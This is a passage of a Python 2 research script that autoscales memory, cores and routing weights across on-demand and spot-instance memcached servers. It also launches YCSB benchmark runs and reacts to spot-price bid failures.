server_list[server]['cold_weight'] != 0: active_servers[server] = server_list[server] return active_servers def get_idle_server(server_list): for server in server_list: if server_list[server]['hot_weight'] == 0 and \ server_list[server]['cold_weight'] == 0 and \ server_list[server]['ram'] == 0 and \ server_list[server]['core'] == 0: return (server, server_list[server]) return None def update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers): # set ram for server in memcached_servers_od: set_ram(server, memcached_servers_od[server]['ram']) for server in memcached_servers_spot: set_ram(server, memcached_servers_spot[server]['ram']) # set core for server in memcached_servers_od: set_core(server, memcached_servers_od[server]['core']) for server in memcached_servers_spot: set_core(server, memcached_servers_spot[server]['core']) for server in memcached_servers_od: if memcached_servers_od[server]['core'] > 0: cmd = 'thread_count:%d' % memcached_servers_od[server]['core'] send_to_mem(server, cmd) for server in memcached_servers_spot: if memcached_servers_spot[server]['core'] > 0: cmd = 'thread_count:%d' % memcached_servers_spot[server]['core'] send_to_mem(server, cmd) # set weight set_mcrouter_config(memcached_servers_od, memcached_servers_spot, mcrouter_servers) def update_server_noise(memcached_servers_od, memcached_servers_spot, mcrouter_servers_noise): set_mcrouter_config(memcached_servers_od, memcached_servers_spot, mcrouter_servers_noise) ''' def adjust_delta(is_spot, M_MIN, M_MAX, C_MIN, C_MAX): global m_delta_od global m_delta_spot global c_delta_od global c_delta_spot if is_spot: c_delta = c_delta_spot m_delta = m_delta_spot else: c_delta = c_delta_od m_delta = m_delta_od if m_delta ''' def mem_scale(server_list, M_MIN, M_MAX, C_MIN, is_spot, called_by_tr): global m_delta_spot global m_delta_od global c_delta_od global c_delta_spot global T_DELTA global T_DELTA_curr global bid_fail if is_spot: m_delta = m_delta_spot else: m_delta = m_delta_od c_delta = 0 active_servers = get_active_servers(server_list) if m_delta > 0 : capable_servers = get_ram_scaleup(active_servers, M_MAX) while m_delta > 20 and len(capable_servers) > 0: remain = 0 mem_temp = m_delta mem_size = float(sum(capable_servers[server]['ram'] for server in capable_servers)) if mem_size == 0: print 'mem_size ==0 ------' print capable_servers print server_list for server in capable_servers: new_mem = math.ceil((capable_servers[server]['ram'] / mem_size)*mem_temp + capable_servers[server]['ram']) if new_mem > M_MAX: #remain += new_mem - M_MAX m_delta -= M_MAX - capable_servers[server]['ram'] capable_servers[server]['ram'] = M_MAX else: m_delta -= new_mem- capable_servers[server]['ram'] capable_servers[server]['ram'] = new_mem if m_delta <= 0: break T_DELTA_curr = 0 #m_delta = remain # update the origin list for server in capable_servers: server_list[server] = capable_servers[server] capable_servers = get_ram_scaleup(capable_servers, M_MAX) if m_delta > 0: for server in server_list: if (m_delta > 0 and server_list[server]['ram'] == 0 and server_list[server]['core'] == 0 and server_list[server]['hot_weight'] == 0 and server_list[server]['cold_weight'] == 0): if m_delta < M_MIN: server_list[server]['ram'] = M_MIN m_delta -= M_MIN elif m_delta > M_MAX: server_list[server]['ram'] = M_MAX m_delta -= M_MAX else: server_list[server]['ram'] = m_delta m_delta -= m_delta T_DELTA_curr = 0 server_list[server]['core'] = C_MIN c_delta_od -= server_list[server]['core'] # add new server if called_by_tr: global scaling_up_vm scaling_up_vm = True if m_delta > 0: for server in server_list: print server_list[server]['ram'], server #raise RuntimeError("Error, not enough VMs") print 'Not enough VMs-------------' elif(m_delta < 0): if T_DELTA >= T_INTERVAL or (is_spot and bid_fail): capable_servers = get_ram_scaledown(active_servers, M_MIN) while m_delta < -20 and len(capable_servers) > 0: remain = 0 mem_temp = m_delta mem_size = float(sum(capable_servers[server]['ram'] for server in capable_servers)) for server in capable_servers: new_mem = math.floor(capable_servers[server]['ram'] + (capable_servers[server]['ram'] / mem_size)*mem_temp) if (new_mem < M_MIN): #remain += new_mem #pdb.set_trace() m_delta += capable_servers[server]['ram'] capable_servers[server]['ram'] = 0 c_delta += capable_servers[server]['core'] capable_servers[server]['core'] = 0 capable_servers[server]['hot_weight'] = 0 capable_servers[server]['cold_weight'] = 0 else: m_delta += capable_servers[server]['ram'] - new_mem capable_servers[server]['ram'] = new_mem if m_delta >= 0: break for server in capable_servers: server_list[server] = capable_servers[server] capable_servers = get_ram_scaledown(capable_servers, M_MIN) #if m_delta > 0: # if is_spot: # m_delta_spot = m_delta # mem_scale(server_list, M_MIN, M_MAX, C_MIN, True, called_by_tr) # else: # m_delta_od = m_delta # mem_scale(server_list, M_MIN, M_MAX, C_MIN, False, called_by_tr) if m_delta < 0: if abs(m_delta) >= M_MIN: for server in active_servers: if abs(m_delta) >= M_MIN: active_servers[server]['ram'] = 0 c_delta += active_servers[server]['core'] active_servers[server]['core'] = 0 active_servers[server]['hot_weight'] = 0 active_servers[server]['cold_weight'] = 0 m_delta += M_MIN for server in capable_servers: server_list[server] = active_servers[server] if is_spot: c_delta_spot += c_delta else: c_delta_od += c_delta # Find the k largest def k_largest(server_list, k): #pdb.set_trace() key_list = [] for server_ip in server_list: key_list.append(server_ip) # bubble sort for i in range(len(key_list)): max_ram = key_list[i] for j in range(i+1, len(key_list)): if server_list[key_list[j]]['core'] > server_list[max_ram]['core']: max_ram = key_list[j] #key_list[i], key_list[key_list.index(max_ram)] = max_ram, key_list[i] key_list[key_list.index(max_ram)] = key_list[i] key_list[i] = max_ram return key_list[k] def cpu_scale(server_list, C_MIN, C_MAX, M_MIN, is_spot, called_by_tr): global c_delta_spot global c_delta_od if is_spot: c_delta = c_delta_spot else: c_delta = c_delta_od global bid_fail global T_DELTA_curr active_servers = get_active_servers(server_list) #pdb.set_trace() if c_delta > 0: global T_DELTA_curr T_DELTA_curr = 0 capable_servers = get_core_scaleup(active_servers, C_MAX) core_size = sum(capable_servers[server]['core'] for server in capable_servers) if c_delta > len(capable_servers)*C_MAX - core_size: for server in capable_servers: capable_servers[server]['core'] = C_MAX T_DELTA_curr = 0 c_delta = c_delta - (len(capable_servers)*C_MAX - core_size) for server in server_list: if (c_delta > 0 and server_list[server]['ram'] == 0 and server_list[server]['core'] == 0 and server_list[server]['hot_weight'] == 0 and server_list[server]['cold_weight'] == 0): if c_delta < C_MIN: server_list[server]['core'] = C_MIN c_delta -= C_MIN elif c_delta > C_MAX: server_list[server]['core'] = C_MAX c_delta -= C_MAX else: server_list[server]['core'] = c_delta c_delta -= c_delta T_DELTA_curr = 0 server_list[server]['ram'] = M_MIN # add new server if called_by_tr: global scaling_up_vm scaling_up_vm = True if c_delta > 0: #raise RuntimeError("Error, not enough VMs") print "Not enough VMs-------------------" else: while c_delta > 0: temp_capable_servers = copy.deepcopy(capable_servers) for i in range(len(capable_servers)): if c_delta != 0: capable_servers[k_largest(temp_capable_servers, len(capable_servers)-1-i)]['core'] += 1 c_delta -= 1 T_DELTA_curr = 0 capable_servers = get_core_scaleup(capable_servers, C_MAX) for server in capable_servers: server_list[server] = active_servers[server] else: print "prepare to scale down---" if T_DELTA >= T_INTERVAL or (is_spot and bid_fail): capable_servers = get_core_scaledown(active_servers, C_MIN) print "c_delta=%d, len(capable server)=%d" % (c_delta, len(capable_servers)) while c_delta < 0 and len(capable_servers) > 0: #pdb.set_trace() temp_capable_servers = copy.deepcopy(capable_servers) for i in range(len(capable_servers)): if c_delta != 0: #capable_servers[k_largest(capable_servers, len(capable_servers) - 1 - i)]['core'] -= 1 capable_servers[k_largest(temp_capable_servers, i)]['core'] -= 1 c_delta += 1 capable_servers = get_core_scaledown(capable_servers, C_MIN) for server in capable_servers: server_list[server] = active_servers[server] def update_load_factor(server_list): for server in server_list: if server_list[server]['core'] == 0: server_list[server]['load_factor'] = 0 elif server_list[server]['core'] == 1: server_list[server]['load_factor'] = 1 elif server_list[server]['core'] == 2: server_list[server]['load_factor'] = 2 elif server_list[server]['core'] == 3: server_list[server]['load_factor'] = 2.7 else: server_list[server]['load_factor'] = 3.5 ram_sum = sum(server_list[server]['ram'] for server in server_list) load_factor_sum = float(sum(server_list[server]['load_factor'] for server in server_list)) if load_factor_sum > 0: for server in server_list: server_list[server]['ram'] = server_list[server]['load_factor']/load_factor_sum * ram_sum def update_load_factor_peak(server_list): for server in server_list: if server_list[server]['core'] == 0: server_list[server]['load_factor'] = 0 elif server_list[server]['core'] == 1: server_list[server]['load_factor'] = 1 elif server_list[server]['core'] == 2: server_list[server]['load_factor'] = 1.6 elif server_list[server]['core'] == 3: server_list[server]['load_factor'] = 2.7 else: server_list[server]['load_factor'] = 3.5 ram_sum = sum(server_list[server]['ram'] for server in server_list) load_factor_sum = float(sum(server_list[server]['load_factor'] for server in server_list)) if load_factor_sum > 0: for server in server_list: server_list[server]['ram'] = server_list[server]['load_factor']/load_factor_sum * ram_sum def reset_capacity(server_list, server): if server_list[server]['hot_weight'] == 0 and server_list[server]['cold_weight'] == 0: server_list[server]['core'] = 0 server_list[server]['ram'] = 0 def weight_scale(memcached_servers_od, x_t, y_t): #update_load_factor(memcached_servers_od) #update_load_factor(memcached_servers_spot) m_od_sum = float(sum(memcached_servers_od[server]['ram'] for server in memcached_servers_od)) for server in memcached_servers_od: if m_od_sum == 0: memcached_servers_od[server]['hot_weight'] = 0 memcached_servers_od[server]['cold_weight'] = 0 else: memcached_servers_od[server]['hot_weight'] = (memcached_servers_od[server]['ram']/m_od_sum)*(x_t) memcached_servers_od[server]['cold_weight'] = (memcached_servers_od[server]['ram']/m_od_sum)*(y_t) reset_capacity(memcached_servers_od, server) def get_status(memcached_servers_od, memcached_servers_spot, mcrouter_servers): status_data_mc = {} N = 0 for mc_server in mcrouter_servers: temp = get_latencies(mc_server) if temp is not '0': status_data_mc[mc_server] = temp N += 1 else: print "mcrouter %s might be wrong" % mc_server print 'available mcrouter %d' % N for mem_server in memcached_servers_od: latencies = 0 for mc_server in mcrouter_servers: #latencies += float(get_latencies(mc_server)[mem_server+':11211']) if mc_server in status_data_mc: latencies += float(status_data_mc[mc_server][mem_server+':11211']) memcached_servers_od[mem_server]['latency'] = latencies / max(1,N) #len(mcrouter_servers) for mem_server in memcached_servers_spot: latencies = 0 for mc_server in mcrouter_servers: if mc_server in status_data_mc: latencies += float(status_data_mc[mc_server][mem_server+':11211']) #latencies += float(get_latencies(mc_server)[mem_server+':11211']) memcached_servers_spot[mem_server]['latency'] = latencies / max(1,N) #len(mcrouter_servers) for mc_server in mcrouter_servers: tput = get_tput(mc_server) if tput.split(',')[0] > 0: mcrouter_servers[mc_server]['tput'] = float(tput.split(',')[0]) if tput.split(',')[1] > 0: mcrouter_servers[mc_server]['latency'] = float(tput.split(',')[1]) # for mem_server in memcached_servers_od: # status = get_all_info(mem_server) # # miss rate # if float(status['cmd_get']) == 0: # memcached_servers_od[mem_server]['miss_rate'] = 0 # else: # memcached_servers_od[mem_server]['miss_rate'] = float(status['get_misses']) / float(status['cmd_get']) # # cpu util # if status['cpu_util'] > 0: # memcached_servers_od[mem_server]['cpu_util'] = float(status['cpu_util']) # memcached_servers_od[mem_server]['cmd_get'] = float(status['cmd_get']) # # turnover # memcached_servers_od[mem_server]['turnover'] = (float(status['evictions']) + float(status['cmd_set'])) / max(float(status['curr_items']),1.0) # for mem_server in memcached_servers_spot: # status = get_all_info(mem_server) # # miss rate # if float(status['cmd_get']) == 0: # memcached_servers_spot[mem_server]['miss_rate'] = 0 # else: # memcached_servers_spot[mem_server]['miss_rate'] = float(status['get_misses']) / float(status['cmd_get']) # # cpu util # if status['cpu_util'] > 0: # memcached_servers_spot[mem_server]['cpu_util'] = float(status['cpu_util']) # memcached_servers_spot[mem_server]['cmd_get'] = float(status['cmd_get']) # # turnover # memcached_servers_spot[mem_server]['turnover'] = (float(status['evictions']) + float(status['cmd_set'])) / max(float(status['curr_items']),1.0) def tr_control(server_list, C_MIN, C_MAX, M_MIN, M_MAX, is_spot): c_delta = 0 m_delta = 0 global T_DELTA_curr global latency_ycsb #pdb.set_trace() for server in server_list: if latency_ycsb > 1000: c_i = server_list[server]['core'] if c_i < C_MAX: T_DELTA_curr = 0 #if server_list[server]['cpu_util'] / c_i >= cpu_high or (server_list[server]['miss_rate'] < miss_rate_high and server_list[server]['latency'] > 400): if server_list[server]['latency'] > 450: if math.ceil(c_i*(1 + 0.4*((latency_ycsb - l_target)/l_target))) > C_MAX: c_delta += math.ceil(c_i*(1 + 0.4*((latency_ycsb - l_target)/l_target)) - C_MAX) server_list[server]['core'] = C_MAX else: server_list[server]['core'] = math.ceil(c_i*(1 + 0.4*((latency_ycsb - l_target)/l_target))) if server_list[server]['miss_rate'] > miss_rate_high: temp = server_list[server]['ram']*(1 + 0.1*((latency_ycsb - l_target)/l_target)) if temp > M_MAX: m_delta += temp - M_MAX server_list[server]['ram'] = M_MAX else: server_list[server]['ram'] = temp if server_list[server]['ram'] < M_MAX: T_DELTA_curr = 0 if server_list[server]['latency'] < 400: if T_DELTA >= T_INTERVAL: c_i = server_list[server]['core'] if server_list[server]['cpu_util'] / c_i < cpu_low: temp = math.ceil(c_i*(1 + 1.0*((server_list[server]['latency'] - 400)/400))) if temp < C_MIN: c_delta += temp - C_MIN server_list[server]['core'] = C_MIN else: server_list[server]['core'] = temp if latency_ycsb < l_target and server_list[server]['miss_rate'] < miss_rate_low: if T_DELTA >= T_INTERVAL: temp = server_list[server]['ram']*(1 + 0.3*((server_list[server]['latency'] - l_target)/l_target)) if server_list[server]['turnover'] > 0.1: s_i = 0.02 else: s_i = 0.05 temp *= 1 + s_i if temp < M_MIN: m_delta += temp - M_MIN server_list[server]['ram'] = M_MIN else: server_list[server]['ram'] = temp global m_delta_od global m_delta_spot global c_delta_od global c_delta_spot if is_spot: m_delta_spot = m_delta c_delta_spot = c_delta else: m_delta_od = m_delta c_delta_od = c_delta def kill_all(server_pool): for lists in server_pool: for server in lists: for proc in server.processes: proc.kill() proc.update_proc_stats() def write_server_stats_to_file(index, server_list, name_prefix): for server in server_list: filename = './results/%s_%s' % (name_prefix, str(server)) try: f = open(filename,"a+") core = server_list[server]['core'] ram = server_list[server]['ram'] cpu_util = server_list[server]['cpu_util']/max(1, core) latency = server_list[server]['latency'] miss_rate = server_list[server]['miss_rate'] turnover = server_list[server]['turnover'] hot_weight = server_list[server]['hot_weight'] cold_weight = server_list[server]['cold_weight'] cmd_get = server_list[server]['cmd_get'] temp = '%d\t%d\t%d\t%f\t%f\t%f\t%f\t%f\t%f\t%d\n' % (index, core, ram, cpu_util, latency, miss_rate, turnover, hot_weight, cold_weight, cmd_get) f.write(temp) f.close() except IOError as e: print "Cannot open file: %s" % e.strerror break def load_OD_input(filename): with open(filename) as f: lines = f.readlines() input_data = [] for l in lines: entries = l.strip().split() input_data.append({'core' : int(entries[0]), 'mem' : int(float(entries[1]) * 1024), 'x' : float(entries[2]), 'y' : float(entries[3])}) return input_data def load_spot_input(filename): with open(filename) as f: lines = f.readlines() input_data = [] for l in lines: entries = l.strip().split() input_data.append({'instance_num' : int(entries[0]), 'x' : float(entries[1]), 'y' : float(entries[2])}) return input_data def load_traces(filename): with open(filename) as f: lines = f.readlines() trace = [] for l in lines: price_time_pair = l.strip().split('\t') trace.append(float(price_time_pair[0])) return trace def spot_instance_scale(instance_group, spot_pool, input_data): delta = abs(len(instance_group) - input_data.get('instance_num')) # scale up if len(instance_group) < input_data.get('instance_num'): for i in range(delta): new_ip,new_inst = get_idle_server(spot_pool) assert(new_ip != None and new_inst != None) instance_group[new_ip] = new_inst instance_group[new_ip]['core'] = C_DEFAULT instance_group[new_ip]['ram'] = M_DEFAULT # scale down elif len(instance_group) > input_data.get('instance_num'): for i in range(delta): tmp_key = instance_group.keys()[0] instance_group[tmp_key]['core'] = 0 instance_group[tmp_key]['ram'] = 0 instance_group[tmp_key]['hot_weight'] = 0 instance_group[tmp_key]['cold_weight'] = 0 instance_group.pop(tmp_key) weight_scale(instance_group, input_data.get('x'), input_data.get('y')) def weight_transfer(spot_group, OD_group, OD_data, spot_data, timer): global m_delta_od global c_delta_od global spot_fail_interval global spot_fail_delay global G_M_MIN global G_M_MAX global G_C_MIN global G_C_MAX spot_fail_timer = timer print 'spot_fail_timer = %d' % spot_fail_timer if spot_fail_timer % spot_fail_interval == 0: print 'move data' m_delta_od = float(math.ceil((spot_data.get('instance_num') * M_DEFAULT) / (spot_fail_delay / spot_fail_interval))) mem_scale(OD_group, G_M_MIN, G_M_MAX, G_C_MIN, False, True) if spot_fail_timer == 0: c_delta_od = spot_data.get('instance_num') * C_DEFAULT cpu_scale(OD_group, G_C_MIN, G_C_MAX, G_M_MIN, False, True) x_spot = sum(spot_group[spot].get('hot_weight') for spot in spot_group) - spot_data.get('x') / (spot_fail_delay / spot_fail_interval) y_spot = sum(spot_group[spot].get('cold_weight') for spot in spot_group) - spot_data.get('y') / (spot_fail_delay / spot_fail_interval) x_od = sum(OD_group[od].get('hot_weight') for od in OD_group) + spot_data.get('x') / (spot_fail_delay / spot_fail_interval) y_od = sum(OD_group[od].get('cold_weight') for od in OD_group) + spot_data.get('y') / (spot_fail_delay / spot_fail_interval) weight_scale(OD_group, x_od, y_od) weight_scale(spot_group, x_spot, y_spot) #def main(server_pool): def main(): global T_DELTA global TP_INTERVAL global bid global bid_fail global TR_INTERVAL global T_DELTA_curr global m_delta_od global m_delta_spot global c_delta_od global c_delta_spot global i_time global scaling_up_vm global scaling_up_vm_tr_timer global scaling_up_vm_tr_delay global spot_fail global spot_fail_delay global spot_fail_timer global spot_fail_interval global noise_duration global noise_timer global extra_noise global latency_ycsb global spot_fail_timer1 global spot_fail_timer2 global spot_fail_timer3 global spot_fail_timer4 # get instances #server_pool = get_vm() mcrouter_list = [] mcrouter_noise_list = [] memcached_od_list = [] memcached_spot_list = [] with open("memcached_od_list.txt", 'r') as f: lines = f.readlines() for line in lines: memcached_od_list.append(line.strip('\n')) print memcached_od_list with open("memcached_spot_list.txt", 'r') as f: lines = f.readlines() for line in lines: memcached_spot_list.append(line.strip('\n')) print memcached_spot_list with open("mcrouter_list.txt", 'r') as f: lines = f.readlines() for line in lines: mcrouter_list.append(line.strip('\n')) print mcrouter_list """ with open("mcrouter_noise_list.txt", 'r') as f: lines = f.readlines() for line in lines: mcrouter_noise_list.append(line.strip('\n')) """ #print mcrouter_noise_list server_pool = {'memcached_od':memcached_od_list, 'memcached_spot':memcached_spot_list, 'YCSB': mcrouter_list, 'YCSB_noise': mcrouter_noise_list} # create dictionary info memcached_servers_od = create_server_info(server_pool['memcached_od']) memcached_servers_spot = create_server_info(server_pool['memcached_spot']) mcrouter_servers = create_server_info(server_pool['YCSB']) #cheng: adding noise via mcrouter_servers_noise mcrouter_servers_noise = create_server_info(server_pool['YCSB_noise']) # set mcrouter config set_mcrouter_config(memcached_servers_od, memcached_servers_spot, mcrouter_servers) #set_mcrouter_config(memcached_servers_od, memcached_servers_spot, mcrouter_servers_noise) """ # run memcached daemon mem_cmd = 'python memcached_daemon.py' for server in memcached_servers_od: memcached_servers_od[server]['instance'].run_command(mem_cmd) for server in memcached_servers_spot: memcached_servers_spot[server]['instance'].run_command(mem_cmd) # run mcrouter daemon mc_cmd = 'python mcrouter_daemon.py' for server in mcrouter_servers: mcrouter_servers[server]['instance'].run_command(mc_cmd) """ #==================== Load inputs ====================== # single market """with open('opt.txt', 'r') as f: lines = f.readlines() x_t = [float(line.split('\t')[0]) for line in lines] y_t = [float(line.split('\t')[1]) for line in lines] m_o = [1024*float(line.split('\t')[2]) for line in lines] m_s = [1024*float(line.split('\t')[3]) for line in lines] c_o = [float(line.split('\t')[4]) for line in lines] c_s = [float(line.split('\t')[5]) for line in lines] """ # multi-market # spot trace spot_trace1 = load_traces(spot_trace1_filename) spot_trace2 = load_traces(spot_trace2_filename) # inputs type1_input = load_spot_input(input_type1_filenmae) type2_input = load_spot_input(input_type2_filename) type3_input = load_spot_input(input_type3_filename) type4_input = load_spot_input(input_type4_filename) OD_input = load_OD_input(input_OD_filename) with open('input/arrival_actual.txt', 'r') as f: lines = f.readlines() arrival = map(lambda x: 320000*float(x), lines) #arrival[9] = arrival[9] *325000/300000 with open('random_seed.txt', 'r') as f: lines = f.readlines() random_seed = map(int, lines) with open('input/workingset_actual.txt', 'r') as f: lines = f.readlines() working_set = map(lambda x : int(15728640*float(x)), lines) """with open('spotprice_min.txt','r') as f: lines = f.readlines() spotprice_min = map(lambda x : float(x), lines) """ # kill exist ycsb cmd = 'thread_count:2' for server in memcached_servers_od: send_to_mem(server, cmd) for server in memcached_servers_spot: send_to_mem(server, cmd) # kill exist ycsb cmd = 'killall java' for server in mcrouter_servers: run_cmd(server, cmd) #for server in mcrouter_servers_noise: # run_cmd(server, cmd) time.sleep(2) tp = 5 * min(len(spot_trace1), len(spot_trace2)) for i_time in range(tp): #if i_time > 10 and i_time < 13*TP_INTERVAL-10: # continue #if i_time > 17*TP_INTERVAL+10 and i_time < 18*TP_INTERVAL-10: # continue #if i_time > 18*TP_INTERVAL+10 and i_time < 19*TP_INTERVAL-10: # continue #if i_time > 15*TP_INTERVAL-200: # return if i_time == 0: n_o = int(math.ceil(max([OD_input[i_time].get('mem')/float(M_DEFAULT), OD_input[i_time].get('core')/float(C_DEFAULT)]))) count = 0 for server in memcached_servers_od: if (count < n_o and memcached_servers_od[server]['ram'] == 0 and memcached_servers_od[server]['core'] == 0 and memcached_servers_od[server]['hot_weight'] == 0 and memcached_servers_od[server]['cold_weight'] == 0): memcached_servers_od[server]['ram'] = M_DEFAULT memcached_servers_od[server]['core'] = C_DEFAULT count += 1 weight_scale(memcached_servers_od, OD_input[i_time].get('x'), OD_input[i_time].get('y')) """count = 0 for server in memcached_servers_spot: if (count < n_s and memcached_servers_spot[server]['ram'] == 0 and memcached_servers_spot[server]['core'] == 0 and memcached_servers_spot[server]['hot_weight'] == 0 and memcached_servers_spot[server]['cold_weight'] == 0): memcached_servers_spot[server]['ram'] = M_DEFAULT memcached_servers_spot[server]['core'] = C_DEFAULT count += 1 """ #=========================== Initializing 4 types of spot instances ====================== type1_instances = {} type2_instances = {} type3_instances = {} type4_instances = {} for i in range(type1_input[i_time].get('instance_num')): tmp_ip,tmp_inst = get_idle_server(memcached_servers_spot) type1_instances[tmp_ip] = tmp_inst type1_instances[tmp_ip]['ram'] = M_DEFAULT type1_instances[tmp_ip]['core'] = C_DEFAULT weight_scale(type1_instances, type1_input[i_time].get('x'), type1_input[i_time].get('y')) for i in range(type2_input[i_time].get('instance_num')): tmp_ip,tmp_inst = get_idle_server(memcached_servers_spot) type2_instances[tmp_ip] = tmp_inst type2_instances[tmp_ip]['ram'] = M_DEFAULT type2_instances[tmp_ip]['core'] = C_DEFAULT weight_scale(type2_instances, type2_input[i_time].get('x'), type2_input[i_time].get('y')) for i in range(type3_input[i_time].get('instance_num')): tmp_ip,tmp_inst = get_idle_server(memcached_servers_spot) type3_instances[tmp_ip] = tmp_inst type3_instances[tmp_ip]['ram'] = M_DEFAULT type3_instances[tmp_ip]['core'] = C_DEFAULT weight_scale(type3_instances, type3_input[i_time].get('x'), type3_input[i_time].get('y')) for i in range(type4_input[i_time].get('instance_num')): tmp_ip,tmp_inst = get_idle_server(memcached_servers_spot) type4_instances[tmp_ip] = tmp_inst type4_instances[tmp_ip]['ram'] = M_DEFAULT type4_instances[tmp_ip]['core'] = C_DEFAULT weight_scale(type4_instances, type4_input[i_time].get('x'), type4_input[i_time].get('y')) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) #reset / flush the servers #for server in memcached_servers_od: # reset_memcached(server) # flush_memcached(server) #for server in memcached_servers_spot: # reset_memcached(server) # flush_memcached(server) cmd = 'killall java' for server in mcrouter_servers: run_cmd(server, cmd) cmd = 'sudo rm /home/ubuntu/ycsb/YCSB-master/stats' for server in mcrouter_servers: run_cmd(server, cmd) time. sleep(1) cmd = '/home/ubuntu/ycsb/YCSB-master/bin/ycsb run memcached -P ycsb/YCSB-master/workloads/workloadc\ -p recordcount=%d -p maxexecutiontime=3600 -p hot_keys_file=/home/ubuntu/hot_keys_folder/hot_keys_2_%d\ -p random_seed=%d -p memcached.server=localhost:11211 -p enable_key_count_hashmap=false\ -p enable_key_popularity_stat=false -p enable_key_partition=true -threads 25\ -target %d -s > ycsb/YCSB-master/stats 2>&1'\ % (working_set[0], 1, random_seed[0], int(math.ceil(arrival[0]/float(len(mcrouter_servers))))) for server in mcrouter_servers: run_cmd(server, cmd) time.sleep(300) elif i_time % TP_INTERVAL == 0: index = i_time / TP_INTERVAL #index = 8 m_delta_od = OD_input[index].get('mem') - sum(memcached_servers_od[server]['ram'] for server in memcached_servers_od) c_delta_od = OD_input[index].get('core') - sum(memcached_servers_od[server]['core'] for server in memcached_servers_od) """ m_delta_spot = m_s[index] - sum(memcached_servers_spot[server]['ram'] for server in memcached_servers_spot) c_delta_spot = c_s[index] - sum(memcached_servers_spot[server]['core'] for server in memcached_servers_spot) """ # for OD first #adjust_delta(False, G_M_MIN, G_M_MAX, G_C_MIN, G_C_MAX) #adjust_delta(True, M_DEFAULT, M_DEFAULT, C_DEFAULT, C_DEFAULT) print 'm_o = %f' % OD_input[index].get('mem') print 'c_o = %f' % OD_input[index].get('core') print 'm_delta_o = %f' % m_delta_od print 'c_delta_o = %f' % c_delta_od T_DELTA_curr = T_DELTA # memory scale on-demand instance mem_scale(memcached_servers_od, G_M_MIN, G_M_MAX, G_C_MIN, False, False) # cpu scale on-demand instance cpu_scale(memcached_servers_od, G_C_MIN, G_C_MAX, G_M_MIN, False, False) # memory scale spot instance #mem_scale(memcached_servers_spot, M_DEFAULT, M_DEFAULT, C_DEFAULT, True, False) # cpu scale spot instance #cpu_scale(memcached_servers_spot, C_DEFAULT, C_DEFAULT, M_DEFAULT, True, False) #========================== Scale spot instances ===================== spot_instance_scale(type1_instances, memcached_servers_spot, type1_input[index]) spot_instance_scale(type2_instances, memcached_servers_spot, type2_input[index]) spot_instance_scale(type3_instances, memcached_servers_spot, type3_input[index]) spot_instance_scale(type4_instances, memcached_servers_spot, type4_input[index]) if T_DELTA_curr == 0: T_DELTA = 0 # weight scale #update_load_factor(memcached_servers_od) #update_load_factor(memcached_servers_spot) #if i_time == 9*TP_INTERVAL: # update_load_factor_peak(memcached_servers_od) # update_load_factor_peak(memcached_servers_spot) #weight_scale(memcached_servers_od, memcached_servers_spot, x_t[index], y_t[index]) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) for server in memcached_servers_spot: reset_memcached(server) for server in memcached_servers_od: reset_memcached(server) # kill exist ycsb cmd = 'killall java' for server in mcrouter_servers: run_cmd(server, cmd) time.sleep(3) cmd = 'sudo rm /home/ubuntu/ycsb/YCSB-master/stats' for server in mcrouter_servers: run_cmd(server, cmd) time.sleep(1) # if index <= 19: # new_index = index + 8 # else: # new_index = index -16 new_index = index cmd = '/home/ubuntu/ycsb/YCSB-master/bin/ycsb run memcached -P ycsb/YCSB-master/workloads/workloadc\ -p recordcount=%d -p maxexecutiontime=3600 -p hot_keys_file=/home/ubuntu/hot_keys_folder/hot_keys_2_%d\ -p random_seed=%d -p memcached.server=localhost:11211 -p enable_key_count_hashmap=false\ -p enable_key_popularity_stat=false -p enable_key_partition=true -threads 30\ -target %d -s > ycsb/YCSB-master/stats 2>&1'\ % (working_set[index], new_index, random_seed[index], int(math.ceil(arrival[index]/float(len(mcrouter_servers))))) for server in mcrouter_servers: run_cmd(server, cmd) print 'OD-------------' #print memcached_servers_od for server in memcached_servers_od: print memcached_servers_od[server]['core'], memcached_servers_od[server]['ram'] #print 'SI---------------' #print memcached_servers_spot time.sleep(40) """ elif i_time % TR_INTERVAL == 0: # and i_time >2*TP_INTERVAL: print "reactive control---" index = i_time / TP_INTERVAL #index = 8 active_od = get_active_servers(memcached_servers_od) active_spot = get_active_servers(memcached_servers_spot) get_status(memcached_servers_od, memcached_servers_spot, mcrouter_servers) tr_control(active_od, G_C_MIN, G_C_MAX, G_M_MIN, G_M_MAX, False) tr_control(active_spot, C_DEFAULT, C_DEFAULT, M_DEFAULT, M_DEFAULT, True) T_DELTA_curr = T_DELTA # memory scale on-demand instance mem_scale(memcached_servers_od, G_M_MIN, G_M_MAX, G_C_MIN, False, True) # memory scale spot instance mem_scale(memcached_servers_spot, M_DEFAULT, M_DEFAULT, C_DEFAULT, True, True) # cpu scale on-demand instance cpu_scale(memcached_servers_od, G_C_MIN, G_C_MAX, G_M_MIN, False, True) # cpu scale spot instance cpu_scale(memcached_servers_spot, C_DEFAULT, C_DEFAULT, M_DEFAULT, True, True) if T_DELTA_curr == 0: T_DELTA = 0 if scaling_up_vm: print 'scaling up vm == true' # weight scale #weight_scale(memcached_servers_od, memcached_servers_spot, x_t[index], y_t[index]) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) scaling_up_vm_tr_timer += 1 scaling_up_vm = False else: weight_scale(memcached_servers_od, memcached_servers_spot, x_t[index], y_t[index]) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) for server in memcached_servers_spot: reset_memcached(server) for server in memcached_servers_od: reset_memcached(server) #print 'OD-------------' #print memcached_servers_od #print 'SI---------------' #print memcached_servers_spot if scaling_up_vm_tr_timer > 0: scaling_up_vm_tr_timer += 1; print 'scaling up vm tr timer = %d' % scaling_up_vm_tr_timer if scaling_up_vm_tr_timer >= scaling_up_vm_tr_delay: print 'start to scaling up vm for reactive control' scaling_up_vm_tr_timer = 0 index = i_time / TP_INTERVAL #index = 8 weight_scale(memcached_servers_od, memcached_servers_spot, x_t[index], y_t[index]) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) """ # bid fails after 12 sec --> 120 sec in reality --> change weight every 2 sec index = i_time / 5 """ if i_time == 14*TP_INTERVAL+4*TR_INTERVAL+24: index = i_time / TP_INTERVAL print 'spot fails after 2 min (12 sec)' spot_fail = True x = x_t[index] y = y_t[index] #spot_fail_timer += 1 """ spot_fail1 = type1_bid < spot_trace1[index] spot_fail2 = type2_bid < spot_trace1[index] spot_fail3 = type3_bid < spot_trace2[index] spot_fail4 = type4_bid < 